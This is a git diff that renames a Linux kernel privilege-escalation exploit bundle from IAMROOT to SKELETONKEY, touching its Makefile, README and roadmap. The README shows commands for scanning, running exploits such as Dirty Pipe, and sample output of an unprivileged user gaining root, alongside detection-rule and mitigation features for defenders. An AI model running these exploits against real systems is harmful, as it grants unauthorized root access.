# - modules/<f>/ one family per subdir, contributes objects to the
|
# - modules/<f>/ one family per subdir, contributes objects to the
|
||||||
# final binary
|
# final binary
|
||||||
# - iamroot.c top-level dispatcher
|
# - skeletonkey.c top-level dispatcher
|
||||||
#
|
#
|
||||||
# Each family is currently flat (Phase 1 keeps copy_fail_family's
|
# Each family is currently flat (Phase 1 keeps copy_fail_family's
|
||||||
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
|
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
|
||||||
# Future families register the same way: add their register_* call to
|
# Future families register the same way: add their register_* call to
|
||||||
# iamroot.c's main() and add their src dir to MODULE_DIRS below.
|
# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
|
||||||
|
|
||||||
CC ?= gcc
|
CC ?= gcc
|
||||||
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
||||||
@@ -17,117 +17,117 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
|||||||
LDFLAGS ?=
|
LDFLAGS ?=
|
||||||
|
|
||||||
BUILD := build
|
BUILD := build
|
||||||
BIN := iamroot
|
BIN := skeletonkey
|
||||||
|
|
||||||
# core/
|
# core/
|
||||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
||||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||||
|
|
||||||
# Family: copy_fail_family
|
# Family: copy_fail_family
|
||||||
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
|
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||||
CFF_DIR := modules/copy_fail_family
|
CFF_DIR := modules/copy_fail_family
|
||||||
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
|
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
|
||||||
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
|
# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
|
||||||
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
|
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
|
||||||
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
|
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
|
||||||
|
|
||||||
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
|
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
|
||||||
DP_DIR := modules/dirty_pipe_cve_2022_0847
|
DP_DIR := modules/dirty_pipe_cve_2022_0847
|
||||||
DP_SRCS := $(DP_DIR)/iamroot_modules.c
|
DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
|
||||||
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
|
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
|
||||||
|
|
||||||
# Family: entrybleed (single-CVE family, x86_64 only)
|
# Family: entrybleed (single-CVE family, x86_64 only)
|
||||||
EB_DIR := modules/entrybleed_cve_2023_0458
|
EB_DIR := modules/entrybleed_cve_2023_0458
|
||||||
EB_SRCS := $(EB_DIR)/iamroot_modules.c
|
EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
|
||||||
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
|
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
|
||||||
|
|
||||||
# Family: pwnkit (userspace polkit bug, not kernel)
|
# Family: pwnkit (userspace polkit bug, not kernel)
|
||||||
PK_DIR := modules/pwnkit_cve_2021_4034
|
PK_DIR := modules/pwnkit_cve_2021_4034
|
||||||
PK_SRCS := $(PK_DIR)/iamroot_modules.c
|
PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
|
||||||
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
|
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
|
||||||
|
|
||||||
# Family: nf_tables (CVE-2024-1086)
|
# Family: nf_tables (CVE-2024-1086)
|
||||||
NFT_DIR := modules/nf_tables_cve_2024_1086
|
NFT_DIR := modules/nf_tables_cve_2024_1086
|
||||||
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
|
NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
|
||||||
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
|
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
|
||||||
|
|
||||||
# Family: overlayfs (CVE-2021-3493)
|
# Family: overlayfs (CVE-2021-3493)
|
||||||
OVL_DIR := modules/overlayfs_cve_2021_3493
|
OVL_DIR := modules/overlayfs_cve_2021_3493
|
||||||
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
|
OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
|
||||||
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
|
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
|
||||||
|
|
||||||
# Family: cls_route4 (CVE-2022-2588)
|
# Family: cls_route4 (CVE-2022-2588)
|
||||||
CR4_DIR := modules/cls_route4_cve_2022_2588
|
CR4_DIR := modules/cls_route4_cve_2022_2588
|
||||||
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
|
CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
|
||||||
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
|
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
|
||||||
|
|
||||||
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
|
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
|
||||||
DCOW_DIR := modules/dirty_cow_cve_2016_5195
|
DCOW_DIR := modules/dirty_cow_cve_2016_5195
|
||||||
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
|
DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
|
||||||
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
|
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
|
||||||
|
|
||||||
# Family: ptrace_traceme (CVE-2019-13272)
|
# Family: ptrace_traceme (CVE-2019-13272)
|
||||||
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
|
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
|
||||||
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
|
PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
|
||||||
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
|
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
|
||||||
|
|
||||||
# Family: netfilter_xtcompat (CVE-2021-22555)
|
# Family: netfilter_xtcompat (CVE-2021-22555)
|
||||||
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
|
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
|
||||||
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
|
NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
|
||||||
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
|
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
|
||||||
|
|
||||||
# Family: af_packet (CVE-2017-7308)
|
# Family: af_packet (CVE-2017-7308)
|
||||||
AFP_DIR := modules/af_packet_cve_2017_7308
|
AFP_DIR := modules/af_packet_cve_2017_7308
|
||||||
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
|
AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
|
||||||
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
|
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
|
||||||
|
|
||||||
# Family: fuse_legacy (CVE-2022-0185)
|
# Family: fuse_legacy (CVE-2022-0185)
|
||||||
FUL_DIR := modules/fuse_legacy_cve_2022_0185
|
FUL_DIR := modules/fuse_legacy_cve_2022_0185
|
||||||
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
|
FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
|
||||||
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
|
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
|
||||||
|
|
||||||
# Family: stackrot (CVE-2023-3269)
|
# Family: stackrot (CVE-2023-3269)
|
||||||
STR_DIR := modules/stackrot_cve_2023_3269
|
STR_DIR := modules/stackrot_cve_2023_3269
|
||||||
STR_SRCS := $(STR_DIR)/iamroot_modules.c
|
STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
|
||||||
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
|
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
|
||||||
|
|
||||||
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
|
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
|
||||||
AFP2_DIR := modules/af_packet2_cve_2020_14386
|
AFP2_DIR := modules/af_packet2_cve_2020_14386
|
||||||
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
|
AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
|
||||||
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
|
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
|
||||||
|
|
||||||
# Family: cgroup_release_agent (CVE-2022-0492)
|
# Family: cgroup_release_agent (CVE-2022-0492)
|
||||||
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
||||||
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
|
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
||||||
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
||||||
|
|
||||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
||||||
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
||||||
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
|
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
||||||
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
||||||
|
|
||||||
# Family: nft_set_uaf (CVE-2023-32233)
|
# Family: nft_set_uaf (CVE-2023-32233)
|
||||||
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
||||||
NSU_SRCS := $(NSU_DIR)/iamroot_modules.c
|
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
||||||
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
|
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
|
||||||
|
|
||||||
# Family: af_unix_gc (CVE-2023-4622)
|
# Family: af_unix_gc (CVE-2023-4622)
|
||||||
AUG_DIR := modules/af_unix_gc_cve_2023_4622
|
AUG_DIR := modules/af_unix_gc_cve_2023_4622
|
||||||
AUG_SRCS := $(AUG_DIR)/iamroot_modules.c
|
AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
|
||||||
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
|
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
|
||||||
|
|
||||||
# Family: nft_fwd_dup (CVE-2022-25636)
|
# Family: nft_fwd_dup (CVE-2022-25636)
|
||||||
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
|
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
|
||||||
NFD_SRCS := $(NFD_DIR)/iamroot_modules.c
|
NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
|
||||||
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
|
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
|
||||||
|
|
||||||
# Family: nft_payload (CVE-2023-0179)
|
# Family: nft_payload (CVE-2023-0179)
|
||||||
NPL_DIR := modules/nft_payload_cve_2023_0179
|
NPL_DIR := modules/nft_payload_cve_2023_0179
|
||||||
NPL_SRCS := $(NPL_DIR)/iamroot_modules.c
|
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
|
||||||
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
|
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
|
||||||
|
|
||||||
# Top-level dispatcher
|
# Top-level dispatcher
|
||||||
TOP_OBJ := $(BUILD)/iamroot.o
|
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||||
|
|
||||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
|
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
|
||||||
|
|
||||||
@@ -154,7 +154,7 @@ clean:
|
|||||||
|
|
||||||
help:
|
help:
|
||||||
@echo "Targets:"
|
@echo "Targets:"
|
||||||
@echo " make build optimized iamroot binary"
|
@echo " make build optimized skeletonkey binary"
|
||||||
@echo " make debug build with -O0 -g3"
|
@echo " make debug build with -O0 -g3"
|
||||||
@echo " make static build a fully static binary"
|
@echo " make static build a fully static binary"
|
||||||
@echo " make clean remove build artifacts"
|
@echo " make clean remove build artifacts"
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# IAMROOT
|
# SKELETONKEY
|
||||||
|
|
||||||
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
||||||
> bundled with their detection signatures, patch status, and version
|
> bundled with their detection signatures, patch status, and version
|
||||||
@@ -7,15 +7,20 @@
|
|||||||
> vulnerable to, and — with explicit confirmation — gets you root.
|
> vulnerable to, and — with explicit confirmation — gets you root.
|
||||||
|
|
||||||
```
|
```
|
||||||
██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗
|
╔══╤══╗
|
||||||
██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
|
║ ● ║═══════════════════════════════════════════════════--,
|
||||||
██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║
|
╚═════╝ `--,_
|
||||||
██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║
|
`_/
|
||||||
██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║
|
|
||||||
╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
|
███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗
|
||||||
|
██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝
|
||||||
|
███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝
|
||||||
|
╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝
|
||||||
|
███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║
|
||||||
|
╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝
|
||||||
```
|
```
|
||||||
|
|
||||||
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
|
> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
|
||||||
> tool. By using it you assert you have explicit authorization to test
|
> tool. By using it you assert you have explicit authorization to test
|
||||||
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||||
|
|
||||||
@@ -23,29 +28,29 @@
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# One-shot install (x86_64 / arm64; checksum-verified)
|
# One-shot install (x86_64 / arm64; checksum-verified)
|
||||||
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||||
```
|
```
|
||||||
|
|
||||||
**iamroot runs as a normal unprivileged user** — that's the whole
|
**skeletonkey runs as a normal unprivileged user** — that's the whole
|
||||||
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
||||||
work without `sudo`. Only `--mitigate` and rule-file installation
|
work without `sudo`. Only `--mitigate` and rule-file installation
|
||||||
write to root-owned paths.
|
write to root-owned paths.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# What's this box vulnerable to? (no sudo)
|
# What's this box vulnerable to? (no sudo)
|
||||||
iamroot --scan
|
skeletonkey --scan
|
||||||
|
|
||||||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
||||||
iamroot --audit
|
skeletonkey --audit
|
||||||
|
|
||||||
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
||||||
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
||||||
sudo iamroot --mitigate copy_fail
|
sudo skeletonkey --mitigate copy_fail
|
||||||
|
|
||||||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
||||||
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
|
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Example: unprivileged → root
|
### Example: unprivileged → root
|
||||||
@@ -54,14 +59,14 @@ sudo iamroot --mitigate copy_fail
|
|||||||
$ id
|
$ id
|
||||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||||
|
|
||||||
$ iamroot --scan
|
$ skeletonkey --scan
|
||||||
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
||||||
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
||||||
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
||||||
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
||||||
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
||||||
|
|
||||||
$ iamroot --exploit dirty_pipe --i-know
|
$ skeletonkey --exploit dirty_pipe --i-know
|
||||||
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
||||||
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
||||||
[+] dirty_pipe: spawning su root
|
[+] dirty_pipe: spawning su root
|
||||||
@@ -69,27 +74,27 @@ $ iamroot --exploit dirty_pipe --i-know
|
|||||||
uid=0(root) gid=0(root) groups=0(root)
|
uid=0(root) gid=0(root) groups=0(root)
|
||||||
```
|
```
|
||||||
|
|
||||||
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
|
`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
|
||||||
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
||||||
for the blue-team deployment guide.
|
for the blue-team deployment guide.
|
||||||
|
|
||||||
## What this is
|
## What this is
|
||||||
|
|
||||||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
||||||
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
|
deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
|
||||||
is empirically verified to work on the kernels it claims to target,
|
is empirically verified to work on the kernels it claims to target,
|
||||||
CI-tested across a distro matrix, and ships with the detection
|
CI-tested across a distro matrix, and ships with the detection
|
||||||
signatures defenders need to spot it in their environment.
|
signatures defenders need to spot it in their environment.
|
||||||
|
|
||||||
The same binary covers offense and defense:
|
The same binary covers offense and defense:
|
||||||
|
|
||||||
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
|
- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
|
||||||
apply, and which are blocked by patches/config/LSM
|
apply, and which are blocked by patches/config/LSM
|
||||||
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
|
- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
|
||||||
authorization gate)
|
authorization gate)
|
||||||
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
|
- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
|
||||||
every bundled CVE so blue teams can drop them into their tooling
|
every bundled CVE so blue teams can drop them into their tooling
|
||||||
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
|
- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
|
||||||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
||||||
|
|
||||||
## Status
|
## Status
|
||||||
@@ -110,7 +115,7 @@ across the 2016 → 2026 LPE timeline:
|
|||||||
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
|
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
|
||||||
nft_payload, nft_set_uaf, stackrot.
|
nft_payload, nft_set_uaf, stackrot.
|
||||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
||||||
are exported via `iamroot --detect-rules --format=…`.
|
are exported via `skeletonkey --detect-rules --format=…`.
|
||||||
|
|
||||||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
||||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
||||||
@@ -126,7 +131,7 @@ The Linux kernel privilege-escalation space is fragmented:
|
|||||||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
||||||
within months of release, often only one distro
|
within months of release, often only one distro
|
||||||
|
|
||||||
IAMROOT's bet is that there's room for a single curated bundle that
|
SKELETONKEY's bet is that there's room for a single curated bundle that
|
||||||
(1) actively maintains a small set of high-quality exploits across a
|
(1) actively maintains a small set of high-quality exploits across a
|
||||||
multi-distro matrix, and (2) ships detection rules alongside each
|
multi-distro matrix, and (2) ships detection rules alongside each
|
||||||
exploit so the same project serves both red and blue teams.
|
exploit so the same project serves both red and blue teams.
|
||||||
@@ -148,16 +153,16 @@ module-loader design and how to add a new CVE.
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
make # build all modules
|
make # build all modules
|
||||||
./iamroot --scan # what's this box vulnerable to? (no sudo)
|
./skeletonkey --scan # what's this box vulnerable to? (no sudo)
|
||||||
./iamroot --scan --json # machine-readable output for CI/SOC pipelines
|
./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
|
||||||
./iamroot --detect-rules --format=sigma > rules.yml
|
./skeletonkey --detect-rules --format=sigma > rules.yml
|
||||||
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Acknowledgments
|
## Acknowledgments
|
||||||
|
|
||||||
Each module credits the original CVE reporter and PoC author in its
|
Each module credits the original CVE reporter and PoC author in its
|
||||||
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
|
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
|
||||||
research credit belongs to the people who found the bugs.
|
research credit belongs to the people who found the bugs.
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|||||||
+18
-18
@@ -15,18 +15,18 @@ commitments.
|
|||||||
|
|
||||||
## Phase 1 — Make the bundling real (DONE 2026-05-16)
|
## Phase 1 — Make the bundling real (DONE 2026-05-16)
|
||||||
|
|
||||||
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
|
- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
|
||||||
registry, route to module's detect/exploit
|
registry, route to module's detect/exploit
|
||||||
- [x] Module interface header (`core/module.h`) — standard
|
- [x] Module interface header (`core/module.h`) — standard
|
||||||
`iamroot_module` struct + `iamroot_result_t` (numerically
|
`skeletonkey_module` struct + `skeletonkey_result_t` (numerically
|
||||||
aligned with copy_fail_family's `df_result_t` for zero-cost
|
aligned with copy_fail_family's `df_result_t` for zero-cost
|
||||||
bridging)
|
bridging)
|
||||||
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
|
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
|
||||||
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
|
- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
|
||||||
exposing 5 modules
|
exposing 5 modules
|
||||||
- [x] Top-level `Makefile` that builds all modules into one binary
|
- [x] Top-level `Makefile` that builds all modules into one binary
|
||||||
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
|
- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
|
||||||
`iamroot --list` prints the module inventory
|
`skeletonkey --list` prints the module inventory
|
||||||
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
|
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
|
||||||
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
|
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
|
||||||
across families). Phase 1 keeps them inside copy_fail_family/src/
|
across families). Phase 1 keeps them inside copy_fail_family/src/
|
||||||
@@ -35,7 +35,7 @@ commitments.
|
|||||||
|
|
||||||
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
|
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
|
||||||
|
|
||||||
Public PoC, well-understood, useful for completeness — IAMROOT
|
Public PoC, well-understood, useful for completeness — SKELETONKEY
|
||||||
without Dirty Pipe is incomplete as a "historical bundle." Affects
|
without Dirty Pipe is incomplete as a "historical bundle." Affects
|
||||||
